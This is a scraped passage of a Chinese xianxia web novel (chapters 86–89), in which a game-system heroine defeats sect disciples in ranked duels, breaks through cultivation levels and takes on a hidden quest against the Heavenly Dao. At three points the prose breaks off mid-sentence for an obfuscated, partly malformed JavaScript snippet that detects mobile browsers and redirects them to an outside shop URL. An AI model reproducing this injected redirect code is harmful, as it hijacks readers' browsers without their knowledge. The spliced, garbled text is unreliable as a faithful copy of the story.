滕傲天似长了一双天道神眼,看破一切虚妄,往前两步,翻转五米长刀,直接用刀背将傅师兄横扫下台。 [(烟花)恭喜胜利!] [连胜次数:905] …… 傅师兄不仅有元婴二层的实力,还有神秘莫测的道域啊!他怎么只坚持了八息的时间? 山上的弟子们见此,对滕傲天的认知上升到新的高度。许多人确定无疑地道:“五灵根金丹三层的丹田灵力,与三灵根金丹九层相当,滕傲天直到现在仍没有败迹,这说明什么?说明她就是灵髓成精!” “我和师兄看法一致,她来自东妖灵陆,三个长老认不出她经脉与穴位的资质,她大概率不是人,是精怪!或者是妖精与人族的混血种。” “我改押第五十位的庞师兄!滕傲天定能进前一百,最后止步于五十一,有人愿意和我赌么?” 傅云盛在擂台下爬起身,一脸不甘。他注意到七长老在关注自身,连忙变换表情,恭敬地朝长老台那边一拜,带着遗憾回到核心弟子席位。 七长老同他传音:“没事儿小盛,是老夫看走眼了,这滕傲天确实不凡,能斩碎试道石,或许不全凭那把灵刀……我观你道域有所损伤,快吃我给你那瓶灵丹,好生打坐歇息,准备接下来的切磋。此次务必进前一百,让为师看到你的进步。” 滕棠打败傅云盛后,没有急着叫人上来,而是静立不动,在等灵力储存条回复。 蓝色的长条刚回复一半,她便将其抽空,存于丹田经脉之内,等着下一轮回复。 二长老见她没急着叫下一位弟子,便替她开口:“第一百四十五位是谁?上擂台!” 大长老抬手,示意她不要慌忙叫人,心下对滕傲天已然改观:“弟子接连夺数,期间本该歇息,滕傲天切磋了这么多场,是时候停一会儿了。” 他现在不觉得滕傲天弱、不配当狂刀门首徒,反而隐隐对其抱有期望。连李偲缨都做不到的事,滕傲天做到了,狂刀门或许拥有了一位更加厉害的天才。 滕傲天不仅筑基成功,还结成金丹,想来以后很有可能结婴……大长老满意地看向下方的女子,态度已然大变。 祁长兰一脸不怿:“不是说好,要灭了她气焰,你怎么出尔反尔。” 三长老居于中间,很是尴尬。他露出假笑,开始当和事佬:“滕傲天是有些实力与天赋,性子过于嚣张也不假,其实……我们不必管她,等内门大比结束后,再商量怎么管教弟子也不迟。” 大长老听完,不再理会二长老,低头想问滕傲天是否需要打坐歇一会儿,然而他还未张开口,就发现擂台上多了一位男修,正是二长老催上来的第一百四十五位弟子。 滕傲天对此也没意见,表现极其淡定,擦擦汗就开始挥舞恐怖的长刀,向那名弟子斩去。无论是刀上的五色灵力,亦或她四肢聚集的灵力,看起来都不像丹田耗竭的样子。 滕傲天此时的状态,看着甚至比上一场还好,打败傅云盛只用了两招,打败面前的秦甫,竟只用了一招。 她的双足在大量灵力加持下,速度快如闪电,手中五米大刀迅速砍过去,仅用一息时间,便斩破了秦甫的道域与防守。 大长老见状,闭上了嘴,在秦甫落下擂台后,才慢腾腾地宣布:“滕傲天胜!第一百四十四位弟子上台!” 他此时的声音,与之前截然不同,不再是鄙夷不快的语气,竟透露出几分激动。 滕棠的额头冒出不少细汗,她不停擦拭着,未再打断大长老说话。 每击败一位弟子,她便静立在擂台中央一动不动,直到十六秒后,大长老宣判完,才重新提起大刀。 咚—— “滕傲天胜……”大长老看着擂台下哀嚎的弟子,有些转不过脑子。 滕傲天的经脉与穴位虽然奇特,但目前这几位失败的都是元婴期弟子,比滕傲天大一个境界……她为何还能接二连三地获胜? 最神奇的是,她依然不打坐歇息,每次切磋完,驻足停顿的时间不超过二十息。每次大家觉得她丹田要耗竭时,她总能爆发出强烈的五色灵光,不出两招就将对手击败。 不仅是大长老匪夷所思,山上那些弟子同样如此。 “这几位师兄都是元婴一层、元婴二层,为何依然败得如此之快?” “看不懂,我此刻怀疑师兄师姐们没有出全力,都在让着她。” …… 巨大的山谷内,时不时响起一道“嘭”或者“咚”的声音,间隔时间不超过三十息。 四面山上的弟子们听得悚然。这滕傲天究竟有多少灵力?!打了几百场,她真的不休息一下么? 到后面,大长老的声音开始颤抖:“滕傲天胜……” 又胜了一场的滕棠抬手擦汗,微不可闻地松了口气。 她以为这次的活动任务很难完成,狂刀门的弟子应该很强,没想到这些人跟李偲缨说的一样,看着血气方刚、各擅胜场,实则都是些花拳绣腿,没一个能打的。 她望向天空中的沙漏,算算时间,很有富裕。但为了尽快完成任务,避免出现差错,她依旧选择猛攻猛进,争取在最短的时间内完成切磋比试。 “第一百四十位弟子是谁?该上擂台了。”滕棠望着四周问。 被催的那人是个师妹,神情惴惴不安,担忧自己也像前面的人一样丢脸,于是额外掏出一把灵剑,准备远近皆防。 她有元婴三层的实力,比前面的人强一些,道域却和前面的几个差不多,只有两百多道剑影,不是很凝实。 滕棠确实很头疼双武器的修者,尤其是远攻近防都很厉害的人。不过面前的师妹还好,等级不是很高,查看她的详细信息,其[速度]与[防御]都低于自己。 滕棠没有犹豫,在对方跼蹐不安、不知如何应付自己时,她瞬间抽空自己的丹田和储存条里所有的灵力,往前冲两步,大刀刀背横亘在对方面前,一举将人扫下去。 “滕傲天……胜……”大长老的内心久久不能平静。他旁边的二长老与三长老,不停修改着弟子令牌上的数字,从开始到现在没闲下来一刻。 天空另一侧,某座山的上空,九长老呆立在舟头,恍如一块石头,连风都没有把他吹动。 他身后的胡坤等人,一直在问他:“怎么样?九长老?滕傲天败了吗?” 九长老始终未回头叫他们去观看比试,一旁的沙漏一直落着细沙,不曾被大长老收回。 胡坤等人其实心里明白,滕傲天还在下方切磋。他们只是好奇,辰时已过,现在巳时三刻,滕傲天还有力气打么? 还是说……长老们允许滕傲天切磋一炷香,打坐歇息一炷香?那这样和耍无赖有什么区别,浪费时间罢了。到未时那会儿,滕傲天顶多打赢排名末尾的五十位弟子,止步在九百五十六这个名次。 擂台边缘的核心弟子所剩不多,过了一会儿,只剩下一百来个。 滕棠满头是汗,渐渐感觉到自己的伤害不够。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032745|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位双剑师妹开始,后面这些对手都是元婴三层,刚刚落败的师弟是最后一位。 他有元婴三层巅峰的实力,只差一脚就能突破到元婴四层。滕棠对付他时依然只用普攻,但第一刀结束后,对方退了几步,并未落下擂台。 滕棠不得不甩出两把飞刀助攻,等灵力储存条回复一节,立马调取出来,用大刀补招,才将对方击落下擂台。 这还是趁对方不注意的时候,取得的胜利。 那位师弟显然很惧怕她,被她浑厚的五色灵力吓到,接下第一刀后,以为自己会输,于是没有作出后续反应。要是他足够冷静,兴许这会儿还在擂台上,滕棠必须回复了灵力,才能用技能打败他。 众人一直关注着她的表现,台下排在第五十名的弟子,主动上前,将落败的师弟扶起,对滕棠叫嚣:“我跟你打!不要欺负这些师弟师妹!” 他之前不敢站出来,是因为摸不透滕傲天的实力,眼下见到滕傲天有灵力枯竭之兆,立马做足师兄的派头,当起好人来,骂滕棠这个欺软怕硬的恶人。 滕棠瞥他一眼,不动声色地等灵力回复。在大长老宣判结束后,她才朝他道:“别急,待会儿就轮到你。” “庞师兄,傲天师姐她……”排在第六十七名的女修拉拉庞猓的衣角,劝他别冒进:“大师姐肯定还有灵力,否则她不会这么说。” 其余几个弟子跟着点头,现在谁跟他们说滕傲天快没灵力了,都会被当作谣言。 他们不仅坚信滕傲天乃灵髓成精,体内有源源不断的灵力,还非常抗拒和滕傲天切磋,每每和台上的女子对视到,都忍不住打个寒颤。 “切,这世上哪有灵髓成精?”庞猓完全不相信他们的话,放下豪言:“等着吧,她马上快败下阵来。谁敢跟我押注?” 几个弟子一听,一窝蜂地围住他,异口同声道:“我押!” 庞猓气急,骂道:“怪不得掌门骂你们,真真没有狂气!一群懦夫!” 他对押注之事只字不提,打算观看完下一场,再决定要不要和这些人赌。不怕一万就怕万一,万一滕傲天真的还有很多灵力呢? 滕棠歇息了十六秒,大长老刚好说完话,让第一百一十位弟子上台。 这次切磋之前,滕棠没有慌着冲过去,将还没站稳的弟子击败。 她的身体突然被流光、血气、火焰和霜雪覆盖,转瞬变得光彩耀目。 换上[寒霜雪]套装后,她整个人的气质变了,更加威风、更加锐气凶悍。 对面的弟子只觉眼睛一花,视野中多了一团色彩斑斓的光,与那五米大长刀十分相配。他连忙开启道域,防备滕傲天的攻击。 这时,滕傲天手持五米长刀,忽然在擂台上大吼大叫:“颤抖吧!我的刀无人能敌!暗影流光!” 刚上台的弟子,实力在元婴四层巅峰,无论是道域还是灵根天赋都很出色。但他被滕棠吓傻,握着灵刀瑟瑟发抖,完全发挥不出自身的实力。 他大睁着眼睛,目珠颤动。面前袭来的两道刀光,一强一弱,以蛮横的力量击在他的道域以及腹部上。一息之后,他人已经倒在台下。 “呃、嘶……”第一百一十位弟子捂住腹部,忍受着剧痛,好一会儿都爬不起来。 他的脸比之前的弟子都要苍白,明明身上没有伤口,却仿佛流失了很多血液。 几个负责救人的弟子,连忙将他扶起来,检查完,喂了好几颗低级丹药。 “这滕傲天怎么这么有钱?”庞猓悄然缩回百人之中,后悔刚才的叫嚣。 他没想到,滕傲天不仅有把威风凛凛的五米大长刀,还有一身价值不菲、闪耀夺目的灵器,那衣服、那肩甲、那玉佩……每一样都能抵他全身家当。 且滕傲天并未如他所想,丹田耗空干涸,看她刚才那一招,灵力的浑厚程度与之前并没有区别。 “庞师兄,你不是要上去挑战滕师姐么?”有人好笑地问他。 庞猓嘴角下拉,脸色铁青地说:“滕师姐都说了,还没到我,我上去做什么?” 许是觉得这样说丢面子,他改口道:“她先把我后面的人打败,才有资格挑战我。” 砰——,咚—— 熟悉的落地声,每隔须臾便会出现在擂台下方。 那些等待和滕傲天切磋的弟子,倍感煎熬。看着身边的人越来越少,每一个都倒在擂台下,他们很希望自己早点上场,然后早点结束。 这样,他们就不用再忐忑不安地坐于擂台边缘,等待被滕师姐的大刀斩击腹部、哀叫着倒在地上,更不用近距离地聆听大师姐的狂傲之言。 一开始,滕傲天只是短短两句,说自己的厉害,到现在她已经开始大放厥词,骂人一般,喊得他们汗洽股栗。 “臣服于我吧!你们这些罪人,我的刀会把你们的血饮尽,让你们成为我刀下亡魂,饮血狂暴!” 台上的女子背后血雾缭绕、流光闪动,身前熊熊白焰、雪花纷飞,她朝刚登上擂台的弟子挥舞大刀,五米长的武器,让那人根本不敢靠近,只敢站得远远的,御使暗器攻击。 铛铛——,滕棠横放长刀,防守自身,挡掉了许多飞叉与暗箭。 会用暗器的修者,其速度通常很快。她粗略看了一眼对方的详细信息,没有急着冲过去。 [饮血狂暴]的持续时间为3分钟,冷却时间为8分钟。时间是足够的,只要她在此期间,找到对方的破绽,就能轻易将人击败。 即使找不到破绽也没关系,元婴期的弟子血条很短,她用上副武器,削不了多少下,就能让对方气血不足、头晕眼花。 五米长的大刀在台上挥来舞去,铛铛的声音不绝于耳。刀尖甩出一串串鲜红的血液,洒在擂台边缘的弟子们身上,吓得百人当即坐远了些。 他们抹掉脸上的血液,嗅了嗅,红色的液体腥气重重,不管是肉眼看还是鼻子闻,都很真,但用灵力一探,里面无生灵气息,不含一丝灵蕴,便知这是假的。 他们之前见大师姐的刀在滴血,以为大师姐用了秘法、类似魔人的术法,献祭自己的血液,换作五色灵力,继续驱使大刀发挥威力,还曾担心她昏厥在擂台上。 现在看来,他们的担心是多余的。这血并不是大师姐的,而是刀上的阵器所幻,手抹完脸没多久,血迹就消失得无影无踪。 嗙——,第一百一十位弟子注意力不行、速度不够,在滕棠双足聚满灵力攻向他薄弱处时,没能躲开,从擂台东侧飞了出去。 大刀上的火焰烧着他的门派衣服,他半身黢黑、半身冰霜,在地上试着爬起来,却发现在自己内里虚空、气血不足,根本起不了身。 他惨白着一张脸,不得不借助师弟师妹们的术法之力,去除身上的冰与火,被搀扶到一旁吞服灵药、打坐修复。 87. 第 87 章 “下一位是谁?还请抓紧时间。”滕棠在台上叫道。 善用暗器的弟子血条比同阶修者短,她刚才那一击全靠技巧,因此并未用出多少灵力。 储存条早已回满,而[饮血狂暴]的效果还在,剩余1分40秒,她不想浪费这个技能的持续时间,干脆越过大长老的宣判,催促下一位切磋对手。 “大师姐,是我……”剩下的百人中,一位女弟子战战兢兢地走出来。 她登上擂台后,想说点好话,让大师姐留情。没想到嘴巴还没张开,就见对方血气缭绕地朝自己飞来,手中大刀势焰熏天。 女弟子双腿一软,不愿接招,像前面那些人一样面色蜡白地倒在底下,于是自己主动跳下擂台,大声道:“大师姐停下!我认输!” 滕棠止了脚步,“嗯”了一声,随后催促下一位对手。 她思考了会儿,觉得自己的灵力量外加大招技能,对付元婴期的弟子完全不是问题,便道:“如果大家想快些结束比试,就不要耽搁,排好队,我叫一个,你们上一个。我们早些结束,而后下去休息不好么?” 那百人里,九成弟子觉得她说得有道理,真的排起长队,等待她喊“下一位”,仍有十来位弟子无动于衷,觉得她打不进前二十。 天空中的大长老,见滕傲天不需要自己宣判,于是闭口不言,默默修改令牌上的数字,并让两位长老回去:“剩余的弟子令牌,我会改好,你们回长老台处歇着吧。” 在场排名第一百零九位的师妹认输,完好无损地站在擂台下,让剩余弟子开始动心。既然打不过,他们为何不认输? 这样,既能避免自己的狼狈样子被大家瞧见,还能保证自己不受伤,下午切磋夺取靠前的数字时,他们能毫发无损地去挑战,或者迎接挑战…… 紧接着,第一百零八和第一百零七的弟子,机灵地跳上台,而后在滕棠动作时,立马跳下去大喊:“我认输!大师姐!” 滕棠抿唇,不知该说好还是不好,切磋是胜利了,且用时极其短,可她获得的经验值非常少,少到等级进度条没有变化。 切磋pk这一项,系统会综合各个方面,判定给多少经验值。如果对方等级高于她,但胆子太小,还没接招就认输,那么她的经验值会直接腰斩。 “额,下一位,不管是师弟还是师妹,请认真……” 滕棠本欲叫他们好好比试,认真对待切磋,不要主动认输,说到中途,突然听见司徒福禄发话。 “既是核心弟子,就该露出自身的实力与狂气!凡认输者,剥去核心席位,降为普通内门弟子,排位于一百五十之后。若有不服,下午、明日及后日,自行挑战夺数,拿回核心席位。” 正在修改令牌的大长老,听见这话,手一顿、头一大,转身望向坐在最高处的男人:“那你来改这些数!” 他将九百余枚令牌抛给司徒福禄,直接罢工不干,心中暗骂司徒福禄,到底知不知道改数有多麻烦。司徒福禄说句话,过过嘴皮子的事儿,他盘算数字、修改顺位,还得顾及下方滕傲天的比试,根本忙不过来。 司徒福禄一挥手,将那些令牌送了回去,话锋一转,对底下的弟子说:“方才的话是警诫,之前认输的弟子不算,后面谁敢认输,消自身狂气,罚其修缮狂刀门西山的建筑!修缮期间,不得使唤杂役与外门弟子。” 大长老听罢,脸色总算好转,接过一堆令牌,继续修改那些数字。 滕棠见司徒福禄说完了,于是提起刀,想继续自己的切磋。忽然,她面前掉落两本古朴的书册,上面写着《狂刀仙法》四个大字。 滕棠望向最高处,不解其意。 司徒福禄双手一拊,面瘫脸挂不出笑容,但开口说的话很能表达他的赞赏与喜悦。 “滕傲天好!比那龙傲天更得我心!此乃狂刀仙法第二篇、第三篇,今日送予你,务必勤加修炼,传承狂刀仙人的衣钵!” 滕棠在所有人灼热的目光下,勉强挤出喜眉笑眼,捡起地上的两本书,朝司徒福禄恭敬一拜。 天知道,她根本不想要仙法,这些太难学了,动不动就要练个千年万年,她没有那么多寿命消受。 她还得抓紧时间突破实力境界、提升游戏等级,术法招式什么的,有技能大招就够了!有钱就行了! 她倒希望司徒福禄送些灵石给她,而不是难学难练的仙品刀法。 装模作样地谢完自己的师父,滕棠见[饮血狂暴]的技能早已失效,正在冷却中,而[暗影流光]还得等一分钟,于是在下一位弟子上台时,她选择动用后面更厉害的大招。 “啊~我的大刀在渴望炙热的火焰,它已经克制不住了,唯有战斗才能填满空虚,燃烧吧!昼焰焚火!” 滕棠身上缭绕的血气消失,随即变成白色火焰,熊熊燃烧,直接将她整个人包住,亮得看不见身形。 对面的弟子感受到一阵热浪扑面,吓得够呛,本欲转身逃下擂台,蓦地耳边响起掌门的话,让他硬生生地停下退缩的步伐。 狂刀门西边的山峰有许多年久失修的建筑,如果被罚到那边修缮,没有杂役弟子和外门弟子的帮助,单靠个人之力,没个两三年根本修不完。 谁也不想去那儿浪费时间、干苦活,他亦不例外,与其痛苦两三年,不如忍受这一时的折磨。 第一百零六位的弟子赴死一般,开着道域往前冲,眼睛一闭,而后身体被大师姐的刀击飞出去,“嘭”一声掉在擂台下面。 “咳、咳……”他干咳两声,用灵力抵御身前的火焰,万分感谢大师姐手下留情,一直用的刀背切磋,从未动用过刀锋,否则他们这些人缺胳膊少腿,十天半个月也好不了。内门大比之后便是百门大比,那时候谁能去参加? “赵师兄没事儿吧?” 负责救人的几名弟子,把丹药喂到他嘴边,手指抖抖,差点让丹药掉到地上。他们完全不敢看台上,仿佛擂台中央站着什么吃人的洪水猛兽。 “咳、我我没事。” 赵一镧被火焰烧得浑身漆黑,要不是提前服下了除痛类丹药,他此时肯定痛得满地打滚,或者蜷缩着身体,痛苦到说不出话。 他顶着一头烧焦蜷曲的头发,被人抬到旁边席位上打坐修复。 看看旁边脸色惨白的师弟师妹,再看看擂台边缘忐忑不安的师兄师姐,他叹气一声,掐着净身诀,把身上的焦灰弄掉,暗忖大家都受了伤,先失败的弟子情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032746|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更好,后面的人似乎更惨,他其实算幸运之人。 “下一位!” “下一位!” …… 滕棠在擂台上越打越凶,一开始能控制力道,让对手没那么痛苦。后面与元婴后期的弟子切磋,为避免打太久,或者怕攻击力不够,她不得不全力以赴,招招皆是大招,伤害值顶满,不给对手一丝机会。 “下一位!” “……”台下无人回应。 “第五十位是谁?”滕棠记性不错,目光直指台下某位师弟:“你方才不是急着和我打么?怎么这会儿不急了?” 她的声音温柔婉和,庞猓却听得汗水连连。 “那是我的戏言,傲天大师姐怎么当真了……”他每一步都走得很慢,犹如乌龟般,半天登不上擂台。 滕棠懒得和他废话,几步走至擂台边缘,用五米长刀把他挑起,等人站稳、pk开始后,一刀将人扫下去。 嗙——,庞猓掉下台的时候,周围没有声音,死寂而沉闷。 山上有不少弟子押庞师兄会打败滕傲天,未曾料到,庞师兄连前面的师兄师姐都不如,竟然被吓到不敢登台,道域还未开启就被滕傲天打下了擂台。 “这……看样子,滕傲天大师姐真的会从最末打到第一啊!” “不,不一定,我押的第三位,李师兄一定能胜!” “但就两个人跟你赌,共十块中品灵石,你赌赢了也赚不了多少。” “嘿嘿,在场的赌注几乎都不成立,你们都在赌大师姐停在第一百名到两百名的位置,可大师姐现在都进前五十了,你们那些赌注完全不作数,现在就只剩我了,还是我有远见!” …… 擂台上的比试依旧在继续,只是每场的耗时变长了一些。 滕棠掐着冷却时间,轮流用着四套技能,累得浑身全是汗。 和前五十名的弟子切磋,她虽然不能一刀把人打下去,需要多费力气,但在灵力储存条和技能大招的加持下,其实花不了多少时间。 天空中的沙漏没有停止落沙,她抬头瞄了一眼,发现上方还有不少沙子,足够她完成两项任务,稍微松了一口气。 打败排名第九的弟子之后,她没有叫“下一位”,忽然感觉自己身上的某层束缚破碎了,灵力出现较大的波动。 其后,她听见山上有人说:“天呐,滕傲天突破了!她金丹四层了!” 滕棠内视一眼绞成圆球的五色灵根,感觉它们茁壮不少,形成的金丹之球比刚才大两分,心里很是欢喜。 五灵根修者想突破层级与境界万分困难,要不是她有天脉石与经脉系统,能助她破除阻碍与束缚,可能现在还在炼气期。 滕棠想到这儿,连忙打开游戏界面,将这一个月得到的门派成就点、贡献点全部用掉,在门派商城换成天脉石。 她原本打算兑换血肉增强液,但是此刻比较了一下,觉得换天脉石更值。[生命]翻几倍后,其实间接增强了她的血肉资质,没必要再买血肉增强液。 而天脉石不同,只要数量足够,就能一举四得:替她冲开淤塞的穴位经脉,提高她整体天资,让她体内灵力大增,突破层级与境界再无瓶颈。 88. 第 88 章 门派商城限量兑换200块天脉石,她这一个月获得的成就点和贡献点绰绰有余。全部兑换后,滕棠毅然打开游戏商城,一口气将85块天脉石加入购物车,将近期积攒的灵石全部花掉。 一番挥霍之后,285块天脉石刚好够她冲破督脉的开头三穴:百会穴、后顶穴、强间穴。 滕棠深吸一口气,身上的灵力波动愈发强烈,气息在金丹四层并未停滞,一路攀升到金丹六层才缓缓稳定下来。 山上的弟子们鸦雀无声,台上的长老们亦是面面相觑,就连司徒福禄的目光都略显呆滞。 他们纷纷揉眼,怀疑自己做了一个多时辰的梦。五灵根怎会突破得如此轻易?看起来比单灵根还简单…… 滕傲天身上发生的一切太过离奇,连续战斗近千场,未见疲态,灵力上未减丝毫,只是身体表面出了许多汗。 更令人震惊的是,她在战斗中竟然突破了,而且一连突破三层! 莫非她真的是天道之女?本体是比龙傲天更为罕见的神龙?众人越想越觉得此事极有可能。 尽管天央大陆尚未传出龙傲天的死讯,但他大概率已陨落在魔妖荒地。于是,天道无奈之下,只能另寻宠儿,而滕傲天便是这名不见经传的人选。 东妖灵陆本就妖兽众多,难保没有蛟龙化身神龙,腾空出世。 众人看滕傲天的眼神再次发生变化,不再将她视为洪水猛兽,开始纠结要不要与之交好。 虽然滕傲天未像龙傲天那样,宣称自己是天道之女,但她的种种表现都异常符合天道宠儿的特质。 大长老改完令牌数字后,殷勤地替滕傲天护阵,避免有人打扰她突破层级。 等滕傲天稳定在金丹六层时,他笑容满面地祝贺道:“恭喜啊,傲天!你以后前途无量啊!” 滕棠回过神,表情不再呆滞。视野清晰后,她看到一张张目定口呆的脸,以及大长老和蔼亲切的面庞。 四周静寂无声,仿佛无人之境,没有说话声,只有微弱的风声在耳边回荡。 滕棠叹了一声气,谢过大长老,然后强调道:“大长老,实不相瞒,我不叫滕傲……” “我知你们所想,但她并非天道之女!”司徒福禄打断了她的话。 他让下方想去道贺的几个长老停下来,目光倨傲地望向天空:“天道宠儿算什么?不过是一条含着金钥匙出生的虫子。我徒儿浑身狂气,有睥睨天下之姿,坚毅、崚嶒。其狂气源于决心,而非源于本性。得此大道者,定当飞升天阙。” 他话语落下后,无一人回应。 大长老的笑容僵住,大致信了司徒福禄的话。 九位长老都知晓,司徒福禄有项独特的本事——拥有仅次于玄目的狂石目,虽不能勘透命字、命数,但能看到狂气之资。 狂刀门建立以来,每次开山收徒时,司徒福禄都会出现在天空上,找寻良徒。奈何上千年过去,他谁也没瞧上,总是骂众人没有狂气,今后修行多艰,不太可能飞升。 可谁要是被他稍微称赞,那人一定有颗坚毅之心,修炼起来百折不屈,道域上进步神速。 比如近些年的刘仁刘慈,当初两兄妹一出现,司徒福禄就道:“这男童小小年纪,身上的狂气却比百年修者都多,可惜于我来说,狂气之资依然不足。” 那时大长老一听,就动心了,见他不收,即刻把刘仁和刘慈抢来当徒弟。二十年过去,刘仁刘慈从孩童长大成人,道域天赋远超众人,不到三十岁便进入了无涯宗…… 这么久以来,其他几个长老对掌门的狂石目半信半疑,只有他穆俗,最相信司徒福禄的双目不假。 司徒福禄性格使然,不爱解释自辩。没有实证之下,唯有靠观察才能确认他说的是否为真话。 穆俗和司徒福禄相处两千年之久,是最了解他的人。司徒福禄的狂石目绝对是真的,凡是被他稍微称赞之人,都进了无涯宗,要么继续苦修等待飞升,要么回到门派当长老。 “师父说得对!” 滕棠大致弄清楚了怎么一回事,连忙摆出不屑一顾的姿势,鼻孔朝天地对众人说:“不管你们怎么看,我绝不是天道宠儿!谁要是敢用这个词骂我,我定要揍他/她一顿!” 她发觉自己越来越习惯说这些大话,一不留神,就狂傲起来:“大家记好了,天道是我的敌人,我亦是天道灭不掉的对手。我的目标不只是飞升,上天后,我一定会把不公平、过多干涉人间、把众生当作棋子的天道踹下神坛!” 话音未落,众人一改目瞪口呆的表情,转而变得万分震惊。 四面秃山不再死寂,一片“呯嘭”,茶水果盘洒了一地。大家惶恐不安地抬头望天,生怕天道听见,在惩罚狂妄的滕傲天时,波及到他们。 滕棠自己也吃了一惊,为何她会自然而然地说出这番话? 直到她听见[叮]的声响,才知道自己触发了隐藏任务,刚才又被控制了。 [叮!触发隐藏剧情任务!] [隐藏主线任务:你对天道的做法嗤之以鼻,不屑与之为伍,处处向人诉说天道的不公,多次发誓要将其踹下神坛。你一路过关斩将,终于在某一日,灭了管理此界的天道神官。] 滕棠在脑子里迅速看完,倍感无奈。她昏迷不醒的那段时间,天道没对游戏系统做什么吧?为什么热血岁月一改之前的态度,这么恨天道呢?时不时发个剧情任务,提醒她天道是敌人,以后要灭了天道…… 她在心中狂叹气,自己何德何能,能够飞上天去把天道灭了?这个隐藏任务怕是很久很久都完不成。 她现在才金丹中期,在高手云集的天央大陆,纵使天资为五灵根,实力上也只能算中游修者,遇到分神期以上的对手,逃跑才是最佳计策。 滕棠直接无视这个隐藏任务。说完那些大话,她第一个反应是观察天空中的沙漏,没去管那些惊掉下巴的内门弟子。 所幸她突破层级靠的是天脉石,没有太耽搁时间。算算瓶子里所剩余的沙子,在沙子落尽之前,她完全有能力打败擂台边缘的八名弟子。 “多谢大长老的关心,我已无事,可以继续切磋了。” 滕棠委婉地提醒大长老,让他飞到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032747|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天空中去,不要再待在擂台上。 大长老张了张口,什么话也没说出来,异常后悔方才的道贺之言。 滕傲天不仅不是天道宠儿,反而处处挑衅天道,势必要灭了天道,那神态决心不太像在开玩笑。 此人比那大魔头还可怕! 无需她再次催促,穆俗迅速回到天空上,远离擂台,心里庆幸着,还好天道没有听见滕傲天的话。 等这次内门大比之后,他一定要和司徒福禄好好谈谈,天道不容凡间之人议论,必须把徒弟教好,否则收滕傲天入门是祸不是福,狂刀门会跟着遭殃。 “师弟还不上台吗?”滕棠望向台下的一名男修,目光锁定在他腰间的赤铜令牌上。 排名第八的弟子浑身一僵,借着体内的灵力才迈动双脚,惶恐不安地走向擂台。 辰时那会儿,他也跟着众人骂过滕傲天,说她相貌柔弱,气质差李偲缨师姐十万八千里,不配当掌门首徒。 现在他只想逃,滕傲天哪里弱?威风凛凛、惮赫千里,一双狮目瞥来,仿佛要把人吃掉。 排名第八的弟子还没打,身上就开始狂出汗。他心中的阴影越积越多,不断脑补着滕傲天的可怕,在上台时求饶道:“大大师姐,还请手下留……” 滕棠太赶时间,实在没工夫跟他闲聊,一个箭步就冲了上去。 “大师姐!”他被逼急了,下意识地用出了精神力,龇牙咧嘴地调动那丝无形之力,攻向滕傲天的识海。 只是……在他要反悔时,面前九尺的地方出现无形的壁障,把他那丝精神力直接摧毁。 排名第八的弟子瞪大眼睛。他和滕傲天之间明明只有十尺的距离,却犹如天堑鸿沟,怎么也跨不过去。 精神力一毁,他整个人瞬间萎靡不振,反应速度急剧下降,只能眼睁睁地看着滕傲天挥舞大刀,用刀背将自己击下擂台。 嘭——,他败得比前面的师弟师妹还要快,不到两息就从台上掉到台下。 “库师兄——!”休养区内,一名女弟子喊道。 她转瞬飞下来,将库笃扶起,询问他:“库师兄你怎么了?脸色为何这般白?” 大长老感受到精神力波动,下去检查完库笃的识海,训斥道:“不是说了,最好勿用精神力。同门弟子为何自相残杀?识海受损最难修复,马上百门大比,短短几天你能恢复好?” 库笃是祁长兰的徒弟,听见大长老的斥责,祁长兰立马拉下一张脸。 她本身对滕傲天就有意见,插口道:“规定是说了最好不用精神力,但没说不让,真要计较起来不算违规。” 她嫌恶地瞪了滕棠一眼,对穆俗说:“何况,滕傲天没有受伤,受伤的人是我徒弟库笃!此事你不应该盘诘滕傲天么?” 大长老吹胡子瞪眼,不明白她怎么老跟自己对着干:“我还能眼瞎?精神力波动最先出现在库笃身上,这我绝不会看错。” 祁长兰哼笑一声,反问他:“滕傲天身上亦有精神力波动,你怎不提?到底谁先动用精神力,并不能全凭肉眼判定,大长老你偏颇了。” 89. 第 89 章 大长老说不过她,不愿继续争论:“无论如何,库笃这是作茧自缚,偷鸡不成蚀把米,被反噬伤了。” “二长老,求您帮帮库师兄,他晕过去了。”扶着库笃的女弟子哽咽说道。 祁长兰递了一瓶丹药给她,让几名弟子将库笃抬到一旁休养。 向来护短的她,看不得自己的徒弟昏迷不醒,于是朝擂台边缘的某位弟子使眼色。 韩建善听到一段传音:“她才金丹境界,不可能开辟识海,即使侥幸开辟,精神力也不会有多强。她身上多半有件护魂的法宝,你用杀鬼刺碎掉她魂器,替你师弟报仇。” 